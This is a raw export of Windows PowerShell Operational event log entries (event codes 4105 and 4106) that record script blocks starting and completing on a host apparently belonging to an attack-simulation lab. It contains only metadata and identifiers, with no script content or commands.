Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052055
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052054
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052053
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052052
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052051
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052049
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052048
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052047
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052046
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052045
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052044
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052043
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052042
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052041
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052040
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052039
Keywords=None
Message=Started invocation of ScriptBlock ID: 7734fe3c-2812-4245-b581-b8e38f5b071e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052038
Keywords=None
Message=Completed invocation of ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052037
Keywords=None
Message=Started invocation of ScriptBlock ID: 02fb22b2-a635-4cdf-9d16-48e5ac2bd56f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052036
Keywords=None
Message=Completed invocation of ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052035
Keywords=None
Message=Started invocation of ScriptBlock ID: ada56d08-4528-4fb4-bdaf-b68979c8fba1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052034
Keywords=None
Message=Completed invocation of ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052033
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052032
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052031
Keywords=None
Message=Started invocation of ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052030
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052029
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052028
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052027
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052026
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052025
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052024
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052023
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052022
Keywords=None
Message=Completed invocation of ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052021
Keywords=None
Message=Started invocation of ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052020
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052019
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052018
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052017
Keywords=None
Message=Started invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052016
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052015
Keywords=None
Message=Started invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052014
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052013
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052012
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052011
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052010
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052009
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052008
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052007
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052006
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052005
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052004
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052003
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
